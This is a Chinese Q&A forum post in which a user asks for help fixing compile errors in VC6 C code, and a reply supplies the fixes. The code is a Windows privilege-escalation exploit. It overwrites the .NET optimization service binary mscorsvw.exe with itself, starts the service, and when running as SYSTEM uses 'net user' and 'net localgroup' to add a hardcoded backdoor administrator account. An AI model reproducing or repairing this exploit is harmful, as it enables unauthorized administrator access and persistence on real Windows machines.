VC6编译程序出错,希望各位帮帮我。

代码是:
#include <stdio.h>

#include <windows.h>

SERVICE_STATUS ServiceStatus;

SERVICE_STATUS_HANDLE hStatus;

#define PWN_EXE "c:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe"

#define PWN_SHORT "mscorsvw.exe"

#define PWN_NAME ".NET Runtime Optimization Service v2.0.50727_X86"

#define PWN_ID "clr_optimization_v2.0.50727_32"

void ServiceMain(int argc, char** argv) {

if (InitService()) {

ServiceStatus.dwCurrentState = SERVICE_STOPPED;

ServiceStatus.dwWin32ExitCode = -1;

SetServiceStatus(hStatus, &ServiceStatus);

return;

}

ServiceStatus.dwCurrentState = SERVICE_RUNNING;

SetServiceStatus (hStatus, &ServiceStatus);

}

void ControlHandler(DWORD request);

int InitService();

int main(int argc, char **argv) {

char acUserName[100];

DWORD nUserName = sizeof(acUserName);

GetUserName(acUserName, &nUserName);

if (strcmp((char *)&acUserName, "SYSTEM")) {

char *str = (char *)malloc(2048);

memset(str, 0, 2048);

snprintf(str, 2048, "%s.bak", PWN_EXE);

if (rename(PWN_EXE, str) != 0) {

fprintf(stderr, " :( sorry, can't write to file.\n");

exit(1);

}

CopyFile(argv[0], PWN_EXE, !0);

snprintf(str, 2048, "net start \"%s\" 2> NUL > NUL",PWN_NAME);

printf("\n >:D should have created a \n\n Username:\tServiceHelper\n Password:\tILov3Coff33!\n\n");

system(str);

}

SERVICE_TABLE_ENTRY ServiceTable[2];

ServiceTable[0].lpServiceName = PWN_ID;

ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

ServiceTable[1].lpServiceName = NULL;

ServiceTable[1].lpServiceProc = NULL;

StartServiceCtrlDispatcher(ServiceTable);

return 0;

}

int InitService() {

system("cmd /c net user ServiceHelper ILov3Coff33! /add & net localgroup Administrators ServiceHelper /add");

}

--------------------Configuration: 3 - Win32 Debug--------------------
Compiling...
3.cpp
c:\documents and settings\administrator\桌面\3.cpp(25) : error C2065: 'InitService' : undeclared identifier
c:\documents and settings\administrator\桌面\3.cpp(47) : error C2373: 'InitService' : redefinition; different type modifiers
c:\documents and settings\administrator\桌面\3.cpp(67) : error C2065: 'snprintf' : undeclared identifier
c:\documents and settings\administrator\桌面\3.cpp(113) : error C2373: 'InitService' : redefinition; different type modifiers
执行 cl.exe 时出错.

希望各位可以帮我解决一下编译出错
最好带一下解决的说明

彻底解决楼主问题:

1,将函数声明放到调用该函数的前面;
int InitService();

2, 还需要包含malloc.h, stdlib.h, 否则程序中编译还会出其它错的。

3, InitService函数必须有返回值
温馨提示:答案为网友推荐,仅供参考
相似回答